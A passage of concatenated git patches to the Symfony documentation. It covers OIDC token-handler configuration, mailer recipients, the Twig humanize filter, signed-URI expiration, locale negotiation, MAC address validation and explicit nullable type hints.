                             <!-- Algorithm used to sign the JWS -->
                             <!-- A JSON-encoded JWK -->
                             <!-- Audience (`aud` claim): required for validation purpose -->
-                            <oidc algorithm="ES256" key="{'kty':'...','k':'...'}" audience="api-example">
+                            <oidc keyset="{'keys':[{'kty':'...','k':'...'}]}" audience="api-example">
                                 <!-- Issuers (`iss` claim): required for validation purpose -->
+                                <algorithm>ES256</algorithm>
+                                <algorithm>RS256</algorithm>
                                 <issuer>https://oidc.example.com</issuer>
                             </oidc>
                         </token-handler>
@@ -610,9 +609,9 @@ it and retrieve the user info from it:
                     ->tokenHandler()
                         ->oidc()
                             // Algorithm used to sign the JWS
-                            ->algorithm('ES256')
+                            ->algorithms(['ES256', 'RS256'])
                             // A JSON-encoded JWK
-                            ->key('{"kty":"...","k":"..."}')
+                            ->keyset('{"keys":[{"kty":"...","k":"..."}]}')
                             // Audience (`aud` claim): required for validation purpose
                             ->audience('api-example')
                             // Issuers (`iss` claim): required for validation purpose
@@ -636,8 +635,8 @@ configuration:
                         token_handler:
                             oidc:
                                 claim: email
-                                algorithm: 'ES256'
-                                key: '{"kty":"...","k":"..."}'
+                                algorithms: ['ES256', 'RS256']
+                                keyset: '{"keys":[{"kty":"...","k":"..."}]}'
                                 audience: 'api-example'
                                 issuers: ['https://oidc.example.com']
 
@@ -657,7 +656,9 @@ configuration:
                 <firewall name="main">
                     <access-token>
                         <token-handler>
-                            <oidc claim="email" algorithm="ES256" key="{'kty':'...','k':'...'}" audience="api-example">
+                            <oidc claim="email" keyset="{'keys':[{'kty':'...','k':'...'}]}" audience="api-example">
+                                <algorithm>ES256</algorithm>
+                                <algorithm>RS256</algorithm>
                                 <issuer>https://oidc.example.com</issuer>
                             </oidc>
                         </token-handler>
@@ -677,8 +678,8 @@ configuration:
                     ->tokenHandler()
                         ->oidc()
                             ->claim('email')
-                            ->algorithm('ES256')
-                            ->key('{"kty":"...","k":"..."}')
+                            ->algorithms(['ES256', 'RS256'])
+                            ->keyset('{"keys":[{"kty":"...","k":"..."}]}')
                             ->audience('api-example')
                             ->issuers(['https://oidc.example.com'])
             ;

From 7de0684b22c26bd4494eba8daa64eb4f097cfeef Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Apr 2024 08:57:34 +0200
Subject: [PATCH 4641/5766] Minor reword

---
 mailer.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 2ce97859b11..643702bdee1 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1852,9 +1852,9 @@ a specific address, instead of the *real* address:
             ;
         };
 
-You may also go even further by restricting the recipient to a specific
-address, except for some specific ones. This can be done by using the
-``allowed_recipients`` option:
+Use the ``allowed_recipients`` option to specify exceptions to the behavior defined
+in the ``recipients`` option; allowing emails directed to these specific recipients
+to maintain their original destination:
 
 .. configuration-block::
 
@@ -1867,7 +1867,7 @@ address, except for some specific ones. This can be done by using the
                     envelope:
                         recipients: ['youremail@example.com']
                         allowed_recipients:
-                            - 'interal@example.com'
+                            - 'internal@example.com'
                             # you can also use regular expression to define allowed recipients
                             - 'internal-.*@example.(com|fr)'
 
@@ -1914,8 +1914,8 @@ address, except for some specific ones. This can be done by using the
         };
 
 With this configuration, all emails will be sent to ``youremail@example.com``,
-except for those sent to ``internal@example.com``, which will receive emails as
-usual.
+except for those sent to ``internal@example.com``, ``internal-monitoring@example.fr``,
+etc., which will receive emails as usual.
 
 .. versionadded:: 7.1
 

From 75162159fcc1df96ad48389d5165d0855904a62c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Apr 2024 12:43:41 +0200
Subject: [PATCH 4642/5766] [Twig] Expand the explanation about the humanize
 filter

---
 reference/twig_reference.rst | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 481cbd23898..1c20264352c 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -391,9 +391,18 @@ humanize
 ``text``
     **type**: ``string``
 
-Makes a technical name human readable (i.e. replaces underscores by spaces
-or transforms camelCase text like ``helloWorld`` to ``hello world``
-and then capitalizes the string).
+Transforms the given string into a human readable string (by replacing underscores
+with spaces, capitalizing the string, etc.) It's useful e.g. when displaying
+the names of PHP properties/variables to end users:
+
+.. code-block:: twig
+
+    {{ 'dateOfBirth'|humanize }}    {# renders: Date of birth #}
+    {{ 'DateOfBirth'|humanize }}    {# renders: Date of birth #}
+    {{ 'date-of-birth'|humanize }}  {# renders: Date-of-birth #}
+    {{ 'date_of_birth'|humanize }}  {# renders: Date of birth #}
+    {{ 'date of birth'|humanize }}  {# renders: Date of birth #}
+    {{ 'Date Of Birth'|humanize }}  {# renders: Date of birth #}
 
 .. _reference-twig-filter-trans:
 

From 75ab793bcc1ad27b0c47f57c5f7d4f1b0cd30ec1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Apr 2024 11:50:48 +0200
Subject: [PATCH 4643/5766] Minor rewords

---
 routing.rst | 36 +++++++++---------------------------
 1 file changed, 9 insertions(+), 27 deletions(-)

diff --git a/routing.rst b/routing.rst
index 0852883b9ee..790ae314516 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2694,9 +2694,10 @@ service, which you can inject in your services or controllers::
         }
     }
 
-You can make the signed URI expire. To do so, you can pass a value to the `$expiration` argument
-of :phpmethod:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`. This optional argument is `null` by default. You can
-specify an expiration date by several ways::
+For security reasons, it's common to make signed URIs expire after some time
+(e.g. when using them to reset user credentials). By default, signed URIs don't
+expire, but you can define an expiration date/time using the ``$expiration``
+argument of :phpmethod:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
 
     // src/Service/SomeService.php
     namespace App\Service;
@@ -2718,46 +2719,27 @@ specify an expiration date by several ways::
             $url = 'https://example.com/foo/bar?sort=desc';
 
             // sign the URL with an explicit expiration date
-            $signedUrl = $this->uriSigner->sign($url, new \DateTime('2050-01-01'));
+            $signedUrl = $this->uriSigner->sign($url, new \DateTimeImmutable('2050-01-01'));
             // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=2524608000&_hash=e4a21b9'
 
-            // check the URL signature
-            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
-            // $uriSignatureIsValid = true
-
-            // if given a \DateInterval, it will be added from now to get the expiration date
+            // if you pass a \DateInterval, it will be added from now to get the expiration date
             $signedUrl = $this->uriSigner->sign($url, new \DateInterval('PT10S'));  // valid for 10 seconds from now
             // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=1712414278&_hash=e4a21b9'
 
-            // check the URL signature
-            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
-            // $uriSignatureIsValid = true
-
-            sleep(30); // wait 30 seconds...
-
-            // the URL signature has expired
-            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
-            // $uriSignatureIsValid = false
-
             // you can also use a timestamp in seconds
             $signedUrl = $this->uriSigner->sign($url, 4070908800); // timestamp for the date 2099-01-01
             // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=4070908800&_hash=e4a21b9'
-
         }
     }
 
-.. caution::
-
-    `null` means no expiration for the signed URI.
-
 .. note::
 
-    When making the URI expire, an `_expiration` query parameter is added to the URL and the expiration date is
-    converted into a timestamp
+    The expiration date/time is included in the signed URIs as a timestamp via
+    the ``_expiration`` query parameter.
 
 .. versionadded:: 7.1
 
-    The possibility to add an expiration date for a signed URI was introduced in Symfony 7.1.
+    The feature to add an expiration date for a signed URI was introduced in Symfony 7.1.
 
 Troubleshooting
 ---------------

From 99df757eca6b2c80c7d7e8a5f8f7ecf1a9cfae95 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Thu, 11 Apr 2024 21:39:33 +0200
Subject: [PATCH 4644/5766] Refactor Request object documentation and redefine
 method logic

The documentation for the Request object in the controller documentation has been updated to be more specific. The logic of the `getPreferredLanguage` method has been updated and clarified in Symfony 7.1. An additional step has been added which accounts for languages that match the locale, but exhibit a different script or region. The Response Object section has been moved for better flow and readability.
---
 controller.rst | 34 ++++++++++++++++++++++++++++++++--
 1 file changed, 32 insertions(+), 2 deletions(-)

diff --git a/controller.rst b/controller.rst
index 436326aa700..2bb6011a245 100644
--- a/controller.rst
+++ b/controller.rst
@@ -623,8 +623,8 @@ For example, imagine you're processing a :doc:`form </forms>` submission::
 
 .. _request-object-info:
 
-The Request and Response Object
--------------------------------
+The Request Object
+------------------
 
 As mentioned :ref:`earlier <controller-request-argument>`, Symfony will
 pass the ``Request`` object to any controller argument that is type-hinted with
@@ -660,6 +660,36 @@ the ``Request`` class::
 The ``Request`` class has several public properties and methods that return any
 information you need about the request.
 
+For example, the method ``getPreferredLanguage`` accepts an array of preferred languages and
+returns the best language for the user, based on the ``Accept-Language`` header.
+The locale is returned with language, script and region, if available (e.g. ``en_US``, ``fr_Latn_CH`` or ``pt``).
+
+Before Symfony 7.1, this method had the following logic:
+
+1. If no locale is set as a parameter, it returns the first language in the
+   ``Accept-Language`` header or ``null`` if the header is empty
+2. If no ``Accept-Language`` header is set, it returns the first locale passed
+   as a parameter.
+3. If a locale is set as a parameter and in the ``Accept-Language`` header,
+   it returns the first exact match.
+4. Then, it returns the first language passed in the ``Accept-Language`` header or as argument.
+
+Starting from Symfony 7.1, the method has an additional step:
+
+1. If no locale is set as a parameter, it returns the first language in the
+   ``Accept-Language`` header or ``null`` if the header is empty
+2. If no ``Accept-Language`` header is set, it returns the first locale passed
+   as a parameter.
+3. If a locale is set as a parameter and in the ``Accept-Language`` header,
+   it returns the first exact match.
+4. If a language matches the locale, but has a different script or region, it returns the first language in the
+   ``Accept-Language`` header that matches the locale's language, script or region combination
+   (e.g. ``fr_CA`` will match ``fr_FR``).
+5. Then, it returns the first language passed in the ``Accept-Language`` header or as argument.
+
+The Response Object
+-------------------
+
 Like the ``Request``, the ``Response`` object has a public ``headers`` property.
 This object is of the type :class:`Symfony\\Component\\HttpFoundation\\ResponseHeaderBag`
 and provides methods for getting and setting response headers. The header names are

From a2932252a8f7e051e3daa82c69490876e509433d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Apr 2024 17:22:31 +0200
Subject: [PATCH 4645/5766] Reword

---
 controller.rst  | 34 ++--------------------------------
 translation.rst | 19 +++++++++++++++++++
 2 files changed, 21 insertions(+), 32 deletions(-)

diff --git a/controller.rst b/controller.rst
index 2bb6011a245..436326aa700 100644
--- a/controller.rst
+++ b/controller.rst
@@ -623,8 +623,8 @@ For example, imagine you're processing a :doc:`form </forms>` submission::
 
 .. _request-object-info:
 
-The Request Object
-------------------
+The Request and Response Object
+-------------------------------
 
 As mentioned :ref:`earlier <controller-request-argument>`, Symfony will
 pass the ``Request`` object to any controller argument that is type-hinted with
@@ -660,36 +660,6 @@ the ``Request`` class::
 The ``Request`` class has several public properties and methods that return any
 information you need about the request.
 
-For example, the method ``getPreferredLanguage`` accepts an array of preferred languages and
-returns the best language for the user, based on the ``Accept-Language`` header.
-The locale is returned with language, script and region, if available (e.g. ``en_US``, ``fr_Latn_CH`` or ``pt``).
-
-Before Symfony 7.1, this method had the following logic:
-
-1. If no locale is set as a parameter, it returns the first language in the
-   ``Accept-Language`` header or ``null`` if the header is empty
-2. If no ``Accept-Language`` header is set, it returns the first locale passed
-   as a parameter.
-3. If a locale is set as a parameter and in the ``Accept-Language`` header,
-   it returns the first exact match.
-4. Then, it returns the first language passed in the ``Accept-Language`` header or as argument.
-
-Starting from Symfony 7.1, the method has an additional step:
-
-1. If no locale is set as a parameter, it returns the first language in the
-   ``Accept-Language`` header or ``null`` if the header is empty
-2. If no ``Accept-Language`` header is set, it returns the first locale passed
-   as a parameter.
-3. If a locale is set as a parameter and in the ``Accept-Language`` header,
-   it returns the first exact match.
-4. If a language matches the locale, but has a different script or region, it returns the first language in the
-   ``Accept-Language`` header that matches the locale's language, script or region combination
-   (e.g. ``fr_CA`` will match ``fr_FR``).
-5. Then, it returns the first language passed in the ``Accept-Language`` header or as argument.
-
-The Response Object
--------------------
-
 Like the ``Request``, the ``Response`` object has a public ``headers`` property.
 This object is of the type :class:`Symfony\\Component\\HttpFoundation\\ResponseHeaderBag`
 and provides methods for getting and setting response headers. The header names are
diff --git a/translation.rst b/translation.rst
index c8e496b9bcf..212554a2ccf 100644
--- a/translation.rst
+++ b/translation.rst
@@ -981,6 +981,25 @@ the framework:
 This ``default_locale`` is also relevant for the translator, as shown in the
 next section.
 
+Selecting the Language Preferred by the User
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If your application supports multiple languages, the first time a user visits your
+site it's common to redirect them to the best possible language according to their
+preferences. This is achieved with the ``getPreferredLanguage()`` method of the
+:ref:`Request object <controller-request-argument>`::
+
+    // get the Request object somehow (e.g. as a controller argument)
+    $request = ...
+    // pass an array of the locales (their script and region parts are optional) supported
+    // by your application and the method returns the best locale for the current user
+    $locale = $request->getPreferredLanguage(['pt', 'fr_Latn_CH', 'en_US'] );
+
+Symfony finds the best possible language based on the locales passed as argument
+and the value of the ``Accept-Language`` HTTP header. If it can't find a perfect
+match between them, this method returns the first locale passed as argument
+(that's why the order of the passed locales is important).
+
 .. _translation-fallback:
 
 Fallback Translation Locales

From d0fd14b4c4ad1bebad99d6d4594d5ef0d2af7729 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Apr 2024 17:25:03 +0200
Subject: [PATCH 4646/5766] Add a versionadded directive

---
 translation.rst | 10 ++++++++--
 1 file changed, 8 insertions(+), 2 deletions(-)

diff --git a/translation.rst b/translation.rst
index 3320ce9ee37..eb16fbee1bb 100644
--- a/translation.rst
+++ b/translation.rst
@@ -979,8 +979,14 @@ preferences. This is achieved with the ``getPreferredLanguage()`` method of the
 
 Symfony finds the best possible language based on the locales passed as argument
 and the value of the ``Accept-Language`` HTTP header. If it can't find a perfect
-match between them, this method returns the first locale passed as argument
-(that's why the order of the passed locales is important).
+match between them, Symfony will try to find a partial match based on the language
+(e.g. ``fr_CA`` would match ``fr_Latn_CH`` because their language is the same).
+If there's no perfect or partial match, this method returns the first locale passed
+as argument (that's why the order of the passed locales is important).
+
+.. versionadded:: 7.1
+
+    The feature to match lcoales partially was introduced in Symfony 7.1.
 
 .. _translation-fallback:
 

From 6ac1b818e7697eff318fd95ad16409dd22e78994 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Apr 2024 17:45:42 +0200
Subject: [PATCH 4647/5766] Fix typo

---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index eb16fbee1bb..891f00845cb 100644
--- a/translation.rst
+++ b/translation.rst
@@ -986,7 +986,7 @@ as argument (that's why the order of the passed locales is important).
 
 .. versionadded:: 7.1
 
-    The feature to match lcoales partially was introduced in Symfony 7.1.
+    The feature to match locales partially was introduced in Symfony 7.1.
 
 .. _translation-fallback:
 

From 0ed185ac3443c8718127e4dbd0ac4588112abd20 Mon Sep 17 00:00:00 2001
From: Ninos Ego <me@ninosego.de>
Date: Fri, 12 Apr 2024 18:05:28 +0200
Subject: [PATCH 4648/5766] [Validator] Add support for types (`ALL*`,
 `LOCAL_*`, `UNIVERSAL_*`, `UNICAST_*`, `MULTICAST_*`, `BROADCAST`) in
 `MacAddress` constraint

---
 reference/constraints/MacAddress.rst | 29 ++++++++++++++++++++++++++++
 1 file changed, 29 insertions(+)

diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index 8055b53ff4a..93fe8142fc4 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -103,4 +103,33 @@ Parameter            Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
+.. _reference-constraint-mac-address-type:
+
+``type``
+~~~~~~~~
+
+**type**: ``string`` **default**: ``all``
+
+This determines exactly *how* the MAC address is validated. This option defines a
+lot of different possible values based on the type of MAC address that you want to allow/deny:
+
+================================  ==============================================================
+Parameter                         Description
+================================  ==============================================================
+``all``                           All
+``all_no_broadcast``              All except broadcast
+``local_all``                     Only local
+``local_no_broadcast``            Only local except broadcast
+``local_unicast``                 Only local and unicast
+``local_multicast``               Only local and multicast
+``local_multicast_no_broadcast``  Only local and multicast except broadcast
+``universal_all``                 Only universal
+``universal_unicast``             Only universal and unicast
+``universal_multicast``           Only universal and multicast
+``unicast_all``                   Only unicast
+``multicast_all``                 Only multicast
+``multicast_no_broadcast``        Only multicast except broadcast
+``broadcast``                     Only broadcast
+===============  ==============================================================
+
 .. _`MAC address`: https://en.wikipedia.org/wiki/MAC_address

From c77994da3e84c7c2a0df7b085fe53a4562b0c1ad Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 13 Apr 2024 12:49:03 +0200
Subject: [PATCH 4649/5766] [Testing] Update nullable types

The codebase as been recently updated to replace implicit nullable types with explicit ones, but i think the doc has not been updated.

This PR is just an "example" on this page.

How do you think we should handle this ?
Create a "meta-issue" and split the work by component ?
---
 testing.rst | 20 ++++++++++----------
 1 file changed, 10 insertions(+), 10 deletions(-)

diff --git a/testing.rst b/testing.rst
index ebd29518071..c6c0da1f4d8 100644
--- a/testing.rst
+++ b/testing.rst
@@ -606,7 +606,7 @@ The full signature of the ``request()`` method is::
         array $parameters = [],
         array $files = [],
         array $server = [],
-        string $content = null,
+        ?string $content = null,
         bool $changeHistory = true
     ): Crawler
 
@@ -1007,7 +1007,7 @@ Response Assertions
     Asserts that the response was successful (HTTP status is 2xx).
 ``assertResponseStatusCodeSame(int $expectedCode, string $message = '')``
     Asserts a specific HTTP status code.
-``assertResponseRedirects(string $expectedLocation = null, int $expectedCode = null, string $message = '')``
+``assertResponseRedirects(?string $expectedLocation = null, ?int $expectedCode = null, string $message = '')``
     Asserts the response is a redirect response (optionally, you can check
     the target location and status code).
 ``assertResponseHasHeader(string $headerName, string $message = '')``/``assertResponseNotHasHeader(string $headerName, string $message = '')``
@@ -1015,10 +1015,10 @@ Response Assertions
 ``assertResponseHeaderSame(string $headerName, string $expectedValue, string $message = '')``/``assertResponseHeaderNotSame(string $headerName, string $expectedValue, string $message = '')``
     Asserts the given header does (not) contain the expected value on the
     response, e.g. ``assertResponseHeaderSame('content-type', 'application/octet-stream');``.
-``assertResponseHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+``assertResponseHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``
     Asserts the given cookie is present in the response (optionally
     checking for a specific cookie path or domain).
-``assertResponseCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+``assertResponseCookieValueSame(string $name, string $expectedValue, string $path = '/', ?string $domain = null, string $message = '')``
     Asserts the given cookie is present and set to the expected value.
 ``assertResponseFormatSame(?string $expectedFormat, string $message = '')``
     Asserts the response format returned by the
@@ -1047,10 +1047,10 @@ Request Assertions
 Browser Assertions
 ..................
 
-``assertBrowserHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertBrowserNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
+``assertBrowserHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``/``assertBrowserNotHasCookie(string $name, string $path = '/', ?string $domain = null, string $message = '')``
     Asserts that the test Client does (not) have the given cookie set
     (meaning, the cookie was set by any response in the test).
-``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', string $domain = null, string $message = '')``
+``assertBrowserCookieValueSame(string $name, string $expectedValue, string $path = '/', ?string $domain = null, string $message = '')``
     Asserts the given cookie in the test Client is set to the expected
     value.
 ``assertThatForClient(Constraint $constraint, string $message = '')``
@@ -1108,18 +1108,18 @@ Mailer Assertions
     Starting from Symfony 5.1, the following assertions no longer require to make
     a request with the ``Client`` in a test case extending the ``WebTestCase`` class.
 
-``assertEmailCount(int $count, string $transport = null, string $message = '')``
+``assertEmailCount(int $count, ?string $transport = null, string $message = '')``
     Asserts that the expected number of emails was sent.
-``assertQueuedEmailCount(int $count, string $transport = null, string $message = '')``
+``assertQueuedEmailCount(int $count, ?string $transport = null, string $message = '')``
     Asserts that the expected number of emails was queued (e.g. using the
     Messenger component).
 ``assertEmailIsQueued(MessageEvent $event, string $message = '')``/``assertEmailIsNotQueued(MessageEvent $event, string $message = '')``
     Asserts that the given mailer event is (not) queued. Use
-    ``getMailerEvent(int $index = 0, string $transport = null)`` to
+    ``getMailerEvent(int $index = 0, ?string $transport = null)`` to
     retrieve a mailer event by index.
 ``assertEmailAttachmentCount(RawMessage $email, int $count, string $message = '')``
     Asserts that the given email has the expected number of attachments. Use
-    ``getMailerMessage(int $index = 0, string $transport = null)`` to
+    ``getMailerMessage(int $index = 0, ?string $transport = null)`` to
     retrieve a specific email by index.
 ``assertEmailTextBodyContains(RawMessage $email, string $text, string $message = '')``/``assertEmailTextBodyNotContains(RawMessage $email, string $text, string $message = '')``
     Asserts that the text body of the given email does (not) contain the

From d896411792d149922a7d69bd8f1294b1a0c77158 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sat, 13 Apr 2024 16:53:04 +0200
Subject: [PATCH 4650/5766] [CS] Fix more nullable types

Follows #19786
---
 components/expression_language.rst   | 2 +-
 components/serializer.rst            | 6 +++---
 controller/error_pages.rst           | 4 ++--
 form/dynamic_form_modification.rst   | 2 +-
 frontend/custom_version_strategy.rst | 2 +-
 http_client.rst                      | 4 ++--
 messenger.rst                        | 2 +-
 messenger/custom-transport.rst       | 2 +-
 notifier.rst                         | 2 +-
 profiler.rst                         | 2 +-
 reference/constraints/File.rst       | 2 +-
 reference/constraints/Image.rst      | 2 +-
 reference/forms/types/collection.rst | 2 +-
 routing/custom_route_loader.rst      | 8 ++++----
 security/access_denied_handler.rst   | 2 +-
 security/login_link.rst              | 2 +-
 serializer/custom_normalizer.rst     | 4 ++--
 validation/custom_constraint.rst     | 8 ++++----
 18 files changed, 29 insertions(+), 29 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 05a172cfa0f..e90c580fe98 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -359,7 +359,7 @@ or by using the second argument of the constructor::
 
         class ExpressionLanguage extends BaseExpressionLanguage
         {
-            public function __construct(CacheItemPoolInterface $cache = null, array $providers = [])
+            public function __construct(?CacheItemPoolInterface $cache = null, array $providers = [])
             {
                 // prepends the default provider to let users override it
                 array_unshift($providers, new StringExpressionLanguageProvider());
diff --git a/components/serializer.rst b/components/serializer.rst
index 1ebe70bb204..fedd41cf08b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -118,7 +118,7 @@ exists in your project::
             $this->sportsperson = $sportsperson;
         }
 
-        public function setCreatedAt(\DateTime $createdAt = null): void
+        public function setCreatedAt(?\DateTime $createdAt = null): void
         {
             $this->createdAt = $createdAt;
         }
@@ -798,7 +798,7 @@ When serializing, you can set a callback to format a specific object property::
     $encoder = new JsonEncoder();
 
     // all callback parameters are optional (you can omit the ones you don't use)
-    $dateCallback = function ($innerObject, $outerObject, string $attributeName, string $format = null, array $context = []) {
+    $dateCallback = function ($innerObject, $outerObject, string $attributeName, ?string $format = null, array $context = []) {
         return $innerObject instanceof \DateTime ? $innerObject->format(\DateTime::ISO8601) : '';
     };
 
@@ -1605,7 +1605,7 @@ having unique identifiers::
     $classMetadataFactory = new ClassMetadataFactory(new AnnotationLoader(new AnnotationReader()));
 
     // all callback parameters are optional (you can omit the ones you don't use)
-    $maxDepthHandler = function ($innerObject, $outerObject, string $attributeName, string $format = null, array $context = []) {
+    $maxDepthHandler = function ($innerObject, $outerObject, string $attributeName, ?string $format = null, array $context = []) {
         return '/foos/'.$innerObject->id;
     };
 
diff --git a/controller/error_pages.rst b/controller/error_pages.rst
index 8424702c19d..6a8b343ceca 100644
--- a/controller/error_pages.rst
+++ b/controller/error_pages.rst
@@ -216,7 +216,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input::
 
     class MyCustomProblemNormalizer implements NormalizerInterface
     {
-        public function normalize($exception, string $format = null, array $context = [])
+        public function normalize($exception, ?string $format = null, array $context = [])
         {
             return [
                 'content' => 'This is my custom problem normalizer.',
@@ -227,7 +227,7 @@ contents, create a new Normalizer that supports the ``FlattenException`` input::
             ];
         }
 
-        public function supportsNormalization($data, string $format = null)
+        public function supportsNormalization($data, ?string $format = null)
         {
             return $data instanceof FlattenException;
         }
diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 48dc03f0797..8244c41b74a 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -459,7 +459,7 @@ The type would now look like::
                 ])
             ;
 
-            $formModifier = function (FormInterface $form, Sport $sport = null) {
+            $formModifier = function (FormInterface $form, ?Sport $sport = null) {
                 $positions = null === $sport ? [] : $sport->getAvailablePositions();
 
                 $form->add('position', EntityType::class, [
diff --git a/frontend/custom_version_strategy.rst b/frontend/custom_version_strategy.rst
index c5716b3f111..3ae6b20bc44 100644
--- a/frontend/custom_version_strategy.rst
+++ b/frontend/custom_version_strategy.rst
@@ -68,7 +68,7 @@ version string::
          * @param string      $manifestPath
          * @param string|null $format
          */
-        public function __construct(string $manifestPath, string $format = null)
+        public function __construct(string $manifestPath, ?string $format = null)
         {
             $this->manifestPath = $manifestPath;
             $this->format = $format ?: '%s?%s';
diff --git a/http_client.rst b/http_client.rst
index d324b65bba8..8a344e552a2 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1651,7 +1651,7 @@ If you want to extend the behavior of a base HTTP client, you can use
     {
         private $decoratedClient;
 
-        public function __construct(HttpClientInterface $decoratedClient = null)
+        public function __construct(?HttpClientInterface $decoratedClient = null)
         {
             $this->decoratedClient = $decoratedClient ?? HttpClient::create();
         }
@@ -1667,7 +1667,7 @@ If you want to extend the behavior of a base HTTP client, you can use
             return $response;
         }
 
-        public function stream($responses, float $timeout = null): ResponseStreamInterface
+        public function stream($responses, ?float $timeout = null): ResponseStreamInterface
         {
             return $this->decoratedClient->stream($responses, $timeout);
         }
diff --git a/messenger.rst b/messenger.rst
index ea8a66ae8cc..a93967a4a17 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2220,7 +2220,7 @@ provided in order to ease the declaration of these special handlers::
     {
         use BatchHandlerTrait;
 
-        public function __invoke(MyMessage $message, Acknowledger $ack = null)
+        public function __invoke(MyMessage $message, ?Acknowledger $ack = null)
         {
             return $this->handle($message, $ack);
         }
diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index dcd7b26971b..0ae6441564f 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -50,7 +50,7 @@ Here is a simplified example of a database transport::
         /**
          * @param FakeDatabase $db is used for demo purposes. It is not a real class.
          */
-        public function __construct(FakeDatabase $db, SerializerInterface $serializer = null)
+        public function __construct(FakeDatabase $db, ?SerializerInterface $serializer = null)
         {
             $this->db = $db;
             $this->serializer = $serializer ?? new PhpSerializer();
diff --git a/notifier.rst b/notifier.rst
index fe3f0ff0ea5..7fc3ae67e84 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -778,7 +778,7 @@ and its ``asChatMessage()`` method::
             $this->price = $price;
         }
 
-        public function asChatMessage(RecipientInterface $recipient, string $transport = null): ?ChatMessage
+        public function asChatMessage(RecipientInterface $recipient, ?string $transport = null): ?ChatMessage
         {
             // Add a custom subject and emoji if the message is sent to Slack
             if ('slack' === $transport) {
diff --git a/profiler.rst b/profiler.rst
index 134a8336cf4..133296e9203 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -255,7 +255,7 @@ request::
 
     class RequestCollector extends AbstractDataCollector
     {
-        public function collect(Request $request, Response $response, \Throwable $exception = null)
+        public function collect(Request $request, Response $response, ?\Throwable $exception = null)
         {
             $this->data = [
                 'method' => $request->getMethod(),
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index ad36a42abb8..71fd2ac5932 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -40,7 +40,7 @@ type. The ``Author`` class might look as follows::
     {
         protected $bioFile;
 
-        public function setBioFile(File $file = null)
+        public function setBioFile(?File $file = null)
         {
             $this->bioFile = $file;
         }
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 917335f49cb..c2c838db847 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -35,7 +35,7 @@ would be a ``file`` type. The ``Author`` class might look as follows::
     {
         protected $headshot;
 
-        public function setHeadshot(File $file = null)
+        public function setHeadshot(?File $file = null)
         {
             $this->headshot = $file;
         }
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index 785853374b6..801dcfd0b5b 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -160,7 +160,7 @@ the value is removed from the collection. For example::
 
     $builder->add('users', CollectionType::class, [
         // ...
-        'delete_empty' => function (User $user = null) {
+        'delete_empty' => function (?User $user = null) {
             return null === $user || empty($user->getFirstName());
         },
     ]);
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
